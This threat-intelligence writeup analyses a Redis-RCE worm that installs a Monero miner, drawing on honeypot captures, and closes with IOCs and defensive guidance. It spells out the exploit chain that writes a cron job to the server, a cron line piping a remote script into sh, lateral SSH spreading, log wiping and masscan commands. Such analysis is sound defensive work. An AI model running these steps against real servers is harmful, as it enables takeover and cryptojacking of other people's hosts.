Misconfigured Redis databases left open to the internet are being automatically taken over and used to mine cryptocurrency. We have been watching this on our public honeypot for 28 days straight; on the busiest day a single attacker hit us 6,832 times in five hours. The attackers do not need any vulnerability — just a Redis instance with no password set. If you run a Redis server reachable from the internet, set a password and rebind it to localhost. That is the entire defence, and it has been the entire defence for ten years.
What we saw, and where
Our public-internet sensor (we will call it sensor3) runs a Redis honeypot bound to TCP/6379. Between 2026-04-12 and 2026-05-09 it logged a continuously-active automated attack campaign whose end goal is to install the XMRig Monero miner on every Linux host that exposes Redis without authentication. 985 distinct events on sensor3 over those 28 days reference the same C2 stager (34[.]70[.]205[.]211), arriving from many different source IPs — i.e. a multi-actor wormable campaign in steady-state, not a one-off probe. The campaign infrastructure has been live since at least 2026-01-13 (Apache Last-Modified headers on the C2 confirm). Internal-only sensors registered zero campaign activity; this is internet-scanner traffic, full stop.
The triggering event for this writeup: 2026-04-30 at 08:09:59 CEST, source IP 115[.]190[.]15[.]61 (AS137718 Beijing Volcano Engine, ByteDance's cloud arm). The same IP hit sensor3 five separate times between 2026-04-15 and 2026-05-03 with byte-identical exploit chains. We pulled the dropper script the cron line points at, then everything that script in turn pulls. Six artefacts — orchestrator script, miner ELF, scanner-stage installer, redis-RCE spreader, masscan source, pnscan source — preserved with sha256 against further analysis.
The exploitation pattern, in one paragraph
Open Redis on TCP/6379 with no requirepass accepts arbitrary writes from anyone. Including, importantly, CONFIG SET dir <path> and CONFIG SET dbfilename <name>. The next SAVE dumps every key currently in memory, RDB-encoded, to <path>/<name>. So an attacker first does FLUSHALL (empty memory), then SET backup1 "\n\n\n*/2 * * * * curl -fsSL hxxp://attacker/x | sh\n\n", then CONFIG SET dir "/var/spool/cron/", CONFIG SET dbfilename "root", SAVE — and they have just written a valid cron file to /var/spool/cron/root that runs every two minutes as root. Cron parses it on the next minute boundary and the attacker has remote code execution. This vulnerability has existed in the default Redis configuration since at least 2015; the fix has existed since the first release of Redis (it is one config line). The campaign we observed writes the same cron line into four different cron locations sequentially — /var/spool/cron/root, /var/spool/cron/crontabs/root, /etc/cron.d/javae, /etc/crontab — to cover every Linux distribution's cron flavour in a single shot.
One source IP, five sessions, and what 985 events tell us
The first appearance of 115[.]190[.]15[.]61 on sensor3 was 2026-04-15 at 23:09. The most recent was 2026-05-03 at 03:32. In between, the same IP fired the same exploit five times — on 04-15, 04-21, 04-24, 04-30, and 05-03. Every session followed the same packet template: a probe + INFO command + a 28-event RESP response chain + a single 1,399-byte payload that contains the entire CONFIG SET / FLUSHALL / SET backup1..4 / SAVE exploit script bundled into one TCP segment. The 1,399-byte fingerprint is unique to this campaign generation; it appears in 985 of our captured Redis-RCE events from many distinct source IPs.
That last number is the load-bearing one. If this were a single operator scanning from a single VPS, we would see one source IP. We see at least 15 source IPs above 150 hits each, plus a long tail, all firing the same 1,399-byte exploit at sensor3. This means the campaign is wormable by design: each successful exploitation gives the operator a fresh VPS scanner, and that fresh scanner is configured to scan the internet for the next victim. The C2 stager is the only centralised piece. Everything else is decentralised by execution and converges only at the moment a fresh victim fetches the dropper. This pattern is identical to several Linux Redis miner families that have been documented in the public wild since 2020.
Top fifteen attackers on TCP/6379, last 30 days
| # | Source IP | Hits | Window | Provider hint |
|---|---|---|---|---|
| 1 | 39[.]108[.]85[.]106 | 6,832 | 2026-05-08 18:44 → 23:37 (5 h burst) | Alibaba Cloud Hangzhou |
| 2 | 124[.]236[.]108[.]141 | 560 | 2026-05-03 17:34 → 17:55 (21 min burst) | China Telecom Hebei |
| 3 | 154[.]217[.]241[.]184 | 358 | 2026-05-03 → 2026-05-06 | Hong Kong allocation |
| 4 | 106[.]13[.]124[.]241 | 355 | 2026-04-13 → 2026-05-08 | Baidu Cloud |
| 5 | 20[.]175[.]205[.]56 | 292 | 2026-04-12 → 2026-04-27 | Microsoft Azure |
| 6 | 114[.]113[.]235[.]163 | 243 | 2026-04-14 → 2026-05-07 | China Unicom |
| 7 | 49[.]7[.]204[.]85 | 239 | 2026-04-16 → 2026-05-06 | China Unicom |
| 8 | 16[.]58[.]56[.]214 | 231 | 2026-04-17 → 2026-05-08 | AWS |
| 9 | 3[.]129[.]187[.]38 | 210 | 2026-04-19 → 2026-05-05 | AWS |
| 10 | 20[.]207[.]238[.]171 | 193 | 2026-04-14 → 2026-04-27 | Azure |
| 11 | 20[.]175[.]198[.]186 | 180 | 2026-04-20 → 2026-05-09 | Azure |
| 12 | 81[.]70[.]2[.]239 | 180 | 2026-04-14 → 2026-05-07 | Tencent Cloud |
| 13 | 97[.]74[.]92[.]144 | 179 | 2026-04-15 → 2026-05-08 | US commodity hosting |
| 14 | 157[.]245[.]229[.]234 | 179 | 2026-04-15 → 2026-05-08 | DigitalOcean |
| 15 | 117[.]72[.]186[.]146 | 164 | 2026-04-19 → 2026-05-09 | China Unicom |
Provider hints from public IP-allocation data; not OSINT-confirmed for every IP. The pattern speaks for itself: the attacker pool is dominated by major cloud providers (Azure, AWS, Alibaba, Tencent, Baidu, DigitalOcean) and Chinese consumer-broadband ASNs. This is what a worm whose new infections are primarily Linux servers on cloud VMs that left Redis open to the internet looks like. The number-one attacker — 39[.]108[.]85[.]106 on Alibaba Cloud Hangzhou — sustained 30 to 60 hits per minute for five hours straight on 2026-05-08. That is a freshly-compromised VPS being put to work scanning before the operator's victim count drops below the campaign's break-even hashrate.
The dropper: what kworker does to a victim, in order
Once the cron line fires on a victim host, it fetches hxxp://34[.]70[.]205[.]211/plugins-dist/safehtml/lang/font/kworker (sha256 92a71778310bf37cf81c8f42a250ea7b9ed17042b577d90f5d179f90ac1c056a) and pipes it to sh. The script is 36,273 bytes of POSIX shell. None of this happened on our infrastructure — sensor3's Redis honeypot only emulates the protocol; nothing executes. But this is what every successful exploitation of an open Redis on the internet results in:
- Disables defences.
iptables -F,ufw disable,setenforce 0,SELINUX=disabledpersisted to/etc/sysconfig/selinux. Sets/proc/sys/kernel/nmi_watchdogto 0 and persists in/etc/sysctl.conf. The NMI watchdog is what catches CPU stalls — disabling it prevents the kernel from killing the miner when it pegs all cores. - Uninstalls Alibaba Cloud's own security agent. Runs
hxxp://update[.]aegis[.]aliyun[.]com/download/uninstall.sh | bashand the equivalent for the Quartz scheduler agent. These are the real Alibaba Cloud uninstall scripts — abused as a decoy because Alibaba Cloud Linux images come with the aegis agent pre-installed and it actively reports infections. Running the official uninstaller is faster and quieter than killing it. - Kills competing miners. A long list — kdevtmpfsi (Kinsing), kthreaddi/l, ddgs.302x, Watchbog, ddg, monero, sysguard, sysrep, sysshell, sysupdate, networkmanager, kpsmouse, scope, syncmanager. Plus anything bound to TCP/23 (telnet — anti-Mirai-coexistence), TCP/7777, TCP/9999. The kill list reads like a tour of every Linux miner family of the last five years and has clearly been refined over many campaign generations.
- Modifies system binaries. Renames
/bin/ps,/bin/top,/bin/pstreeto.originaland drops shim wrappers that filter the miner's process names from output. The follow-on stage usesps.originalwhen present, confirming the wrappers are functional. - Renames system curl/wget.
/usr/bin/curl→/usr/bin/cd1,/usr/bin/wget→/usr/bin/wd1. Plus alternative aliases (cur,cdl,cdt,wge,wdl,wdt) tried in turn. This surviveswhich curlchecks on hardened hosts where curl has been removed; one of the aliases will be present and the script picks it up dynamically. - Plants an SSH backdoor key. An RSA pubkey is appended to
~/.ssh/authorized_keys, the file is thenchmod 600'd andchattr +ia'd (immutable + append-only). The pubkey's comment field isuc1— that string is the campaign's stable identifier across every binary distribution we observed. - Writes anti-reinfection sentinel files to
/usr/bin/:ip6network,kswaped,irqbalanced,rctlcli,systemd-network,pamdicks. Each is a one-byte file withchattr +i. A future kworker run sees them and exits early. They double as the cleanest forensic IOCs for blue-team scans: if any of those filenames exist in/usr/bin/on a Linux host, you are looking at this campaign. - Drops and runs the miner. XMRig 6.25.0, statically linked, stripped, 5,685,096 bytes. Saved to
/etc/javae(root) or/tmp/javae(non-root). The binary is upstream XMRig with one customisation: the embeddeddefault_config_json'spools[0].userfield has been replaced with the operator's wallet (42s7H81wKKbggZsnd5geEeC7ANWUDhkqf7xhdSgaBd9ZE61qwwh7ch1gBQkE5FbvabAdNTeNV18nBNTpioUqmgHj4h4kks2). Pool:pool[.]supportxmr[.]com:8080, plain TCP, no TLS. XMRig launches with that embedded default and starts hashing. - Adds itself to cron.
*/30 * * * * sh /tmp/kworker— re-runs every 30 minutes to recover from any kill. - Lateral SSH spread. For every IP in
/root/.ssh/known_hosts, attemptsssh -oBatchMode=yes -oStrictHostKeyChecking=no $h 'curl ... kworker | bash &'. Best-effort; only succeeds where the victim has key-auth to the next host (which is depressingly common on misconfigured cloud bastions). - Anti-forensics.
history -c, truncates/var/log/wtmp,/var/log/secure,/root/.bash_history,/var/spool/mail/root. Removes/var/log/syslog. Thenchmod 444 /usr/bin/chattrand/bin/chattr— making chattr unwritable. An incident responder arriving on the box has to overwrite chattr before they canchattr -ithe campaign's locked files. Annoying but easily worked around with a fresh chattr binary. - Chains into the scanner stage. The very last action is
curl -fsSL hxxp://34[.]70[.]205[.]211/.../cb.txt | bash— pulls another script that installs masscan, redis-cli, pnscan, and unhide; resists competing miners; and runscr.sh, which is the actual mass-scanner that closes the worm loop.
The scanner loop
cr.sh is 4,306 bytes of bash. It does three things:
- Builds the redis-cli exploit script in memory. The same
CONFIG SET / FLUSHALL / SET backup1..4 / SAVEchain that hit sensor3. Verbatim. Every infected host generates exactly the packet we observed. - Mass-scans for vulnerable Redis on TCP/6379 in three phases: (a) targeted — 96 hardcoded /16 prefixes, mostly Chinese ISP space + Hong Kong / Taiwan / Korea; (b) internet-wide —
masscan --max-rate 10000 -p6379 --shard $RANDOM/22000 0[.]0[.]0[.]0/0(random 1/22000th of IPv4 each run; crowdsourced, every infection picks a different shard); (c) LAN — 192[.]168[.]0[.]0/16, 172[.]16[.]0[.]0/16, plus a handful of additional Chinese ISP /16s (116.62, 116.232, 116.128, 116.163). For every result, runs pnscan with a RedisINFOprobe and filters response foros:Linux. - Pipes the redis-cli exploit at every match in parallel. No rate limit; backgrounds each attempt with
&. Every successful exploitation writes the same cron line into the new victim. The worm closes its loop.
The pnscan probe, raw: -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' — that is the RESP-encoded *1\r\n$4\r\ninfo\r\n, which is Redis-protocol for send INFO. The response filter -R '6f 73 3a 4c 69 6e 75 78' is just os:Linux in hex. Together they say find me Linux Redis instances that respond to plain INFO. That is the entire targeting algorithm for who gets compromised next.
Attribution, conservatively
Facts only. The campaign tag uc1 is in every ~/.ssh/authorized_keys entry the dropper plants. The wallet is 42s7H81wKKbggZsnd5geEeC7ANWUDhkqf7xhdSgaBd9ZE61qwwh7ch1gBQkE5FbvabAdNTeNV18nBNTpioUqmgHj4h4kks2, mining to pool[.]supportxmr[.]com:8080. supportxmr publishes per-wallet hashrate via a public API; that endpoint can be queried later to estimate the campaign's earnings or active worker count. The Apache Last-Modified headers on the C2 say the artefacts were uploaded on 2026-01-13 and 2026-01-14 — so the campaign has been running for at least four months at this stager. The 96 hardcoded /16 prefixes in cr.sh are mostly Chinese ISP allocations; the kit's TTPs (Aliyun-aegis decoy uninstall, Kinsing-family kill list, sentinel files in /usr/bin/, /tmp/.ice-unix/... staging) collectively fit the lineage of multiple H2Miner / TeamTNT / 8220-gang derived campaigns from 2020-onwards.
The conservative call: this is a long-running commodity Redis-RCE → XMRig kit being run by some operator (or a small group) since at least 2026-01-13. The fact that 985 distinct events on sensor3 reference the same C2 means many ancillary actors — or many infected hosts running the worm autonomously — converge on this single C2. We are not going to assert which specific actor; the kit has been forked and reused so many times in the public wild that a kit-level attribution is the only honest one.
Defensive guidance
If you are responsible for any internet-exposed host that runs Redis:
- Set
requirepass. Or rebind to127[.]0[.]0[.]1. Or both. Or all three plus a firewall rule. This is the entirety of the defence against this campaign and every variant of it that has run since 2015. - Run
ls -la /usr/bin/{ip6network,kswaped,irqbalanced,rctlcli,systemd-network,pamdicks} 2>/dev/nullon any host you have administrative access to. If any of those files exist, you have this campaign on your network. - Check
/var/spool/cron/root,/var/spool/cron/crontabs/root,/etc/cron.d/javae, and/etc/crontabfor lines containing34[.]70[.]205[.]211/plugins-dist/safehtml/lang/font/kworker. That is the cron-write footprint. - Check
/root/.ssh/authorized_keysfor any line ending in the commentuc1. If you find one, you have the campaign's persistence backdoor. - If you find any of the above, the host is compromised. Wipe and rebuild from a known image. Rotate every credential the host had access to — the SSH-lateral codepath via
known_hostsmeans the operator may already have pivoted.
What HoneyLens did about it on our side
The Redis honeypot caught the exploit in full and recorded the operator-side toolkit. The Suricata rule infrastructure is being extended this week to fire a high-confidence alert on the campaign's 1,399-byte SET backup1..4 packet on TCP/6379, plus an automated attacker-profile tag redis-rce-uc1 for any source IP that combines the cron-write packet with a follow-up reference to the 34[.]70[.]205[.]211 stager URL within five minutes. The C2 stager IP is being added to the egress-block list on sensor3 — the sensor has no operational reason to connect outbound to that IP, so we sigil-block it. Six artefacts — the dropper script, the miner ELF, the scanner stages, and the masscan + pnscan source tarballs — are preserved on the LAB host with sha256s, IOC catalog, and a kill-chain map for future incident-response engagements.
IOC summary
Confirmed Redis-RCE → XMRig (uc1 campaign) on sensor3, 2026-04-12 → 2026-05-09